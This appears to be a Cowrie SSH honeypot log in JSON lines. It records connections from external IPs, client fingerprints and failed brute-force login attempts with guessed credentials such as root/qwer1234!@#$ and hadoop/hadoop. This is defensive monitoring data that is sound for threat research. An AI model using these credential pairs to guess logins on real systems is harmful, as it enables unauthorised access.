{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:44.630350Z","src_ip":"103.243.24.124","session":"00f2b45dbe99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"williams1","message":"login attempt [root/williams1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:44.907323Z","src_ip":"43.134.112.237","session":"51499fe488e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234!@#$","message":"login attempt [root/qwer1234!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:45.052777Z","src_ip":"103.243.24.124","session":"00f2b45dbe99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:46.147172Z","src_ip":"43.134.112.237","session":"51499fe488e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:46.265810Z","src_ip":"103.243.24.124","session":"00f2b45dbe99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.96.74.162","src_port":50190,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f57d326481c","protocol":"ssh","message":"New connection: 103.96.74.162:50190 (10.17.0.5:22) [session: 1f57d326481c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:48.349346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:48.353490Z","src_ip":"103.96.74.162","session":"1f57d326481c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:48.679514Z","src_ip":"103.96.74.162","session":"1f57d326481c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"notes","message":"login attempt [root/notes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:49.631166Z","src_ip":"103.96.74.162","session":"1f57d326481c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:50.930465Z","src_ip":"103.96.74.162","session":"1f57d326481c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":39084,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a1624301967","protocol":"ssh","message":"New connection: 193.32.162.151:39084 (159.203.135.109:22) [session: 5a1624301967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:00.756809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:00.761395Z","src_ip":"193.32.162.151","session":"5a1624301967","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:00.913809Z","src_ip":"193.32.162.151","session":"5a1624301967","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:01.229124Z","src_ip":"193.32.162.151","session":"5a1624301967","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:02.340102Z","src_ip":"193.32.162.151","session":"5a1624301967","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.70.102.114","src_port":55660,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c6370f8b0bd","protocol":"ssh","message":"New connection: 154.70.102.114:55660 (10.17.0.5:22) [session: 2c6370f8b0bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:06.982203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:06.987433Z","src_ip":"154.70.102.114","session":"2c6370f8b0bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:07.192571Z","src_ip":"154.70.102.114","session":"2c6370f8b0bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"japan","message":"login attempt [root/japan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:08.043319Z","src_ip":"154.70.102.114","session":"2c6370f8b0bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:09.251727Z","src_ip":"154.70.102.114","session":"2c6370f8b0bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.144.95.137","src_port":37674,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b0b2c58725d","protocol":"ssh","message":"New connection: 168.144.95.137:37674 (10.17.0.5:22) [session: 7b0b2c58725d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:23.303684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:23.308469Z","src_ip":"168.144.95.137","session":"7b0b2c58725d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:23.518302Z","src_ip":"168.144.95.137","session":"7b0b2c58725d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"milestone","message":"login attempt [root/milestone] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:24.388910Z","src_ip":"168.144.95.137","session":"7b0b2c58725d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:25.603082Z","src_ip":"168.144.95.137","session":"7b0b2c58725d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.49.246.176","src_port":59650,"dst_ip":"159.203.135.109","dst_port":22,"session":"a769dcb50e26","protocol":"ssh","message":"New connection: 69.49.246.176:59650 (159.203.135.109:22) [session: a769dcb50e26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:32.357795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:32.363539Z","src_ip":"69.49.246.176","session":"a769dcb50e26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:32.394866Z","src_ip":"69.49.246.176","session":"a769dcb50e26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"midnight","message":"login attempt [root/midnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:32.528697Z","src_ip":"69.49.246.176","session":"a769dcb50e26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:33.558420Z","src_ip":"69.49.246.176","session":"a769dcb50e26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.106.207","src_port":32950,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b26f5c5046d","protocol":"ssh","message":"New connection: 43.128.106.207:32950 (159.203.135.109:22) [session: 9b26f5c5046d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:39.795438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:39.800577Z","src_ip":"43.128.106.207","session":"9b26f5c5046d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.70.102.114","src_port":37638,"dst_ip":"10.17.0.5","dst_port":22,"session":"533037a9c779","protocol":"ssh","message":"New connection: 154.70.102.114:37638 (10.17.0.5:22) [session: 533037a9c779]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:39.992788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:39.997266Z","src_ip":"154.70.102.114","session":"533037a9c779","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:40.046101Z","src_ip":"43.128.106.207","session":"9b26f5c5046d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:40.201797Z","src_ip":"154.70.102.114","session":"533037a9c779","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.42.110","src_port":33790,"dst_ip":"159.203.135.109","dst_port":22,"session":"26722de41acc","protocol":"ssh","message":"New connection: 217.154.42.110:33790 (159.203.135.109:22) [session: 26722de41acc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:40.259948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:40.264737Z","src_ip":"217.154.42.110","session":"26722de41acc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:40.345453Z","src_ip":"217.154.42.110","session":"26722de41acc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"share","message":"login attempt [root/share] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:40.699205Z","src_ip":"217.154.42.110","session":"26722de41acc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"app","message":"login attempt [root/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:41.052562Z","src_ip":"154.70.102.114","session":"533037a9c779","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"young","message":"login attempt [root/young] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:41.058801Z","src_ip":"43.128.106.207","session":"9b26f5c5046d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:41.781327Z","src_ip":"217.154.42.110","session":"26722de41acc","protocol":"ssh"}
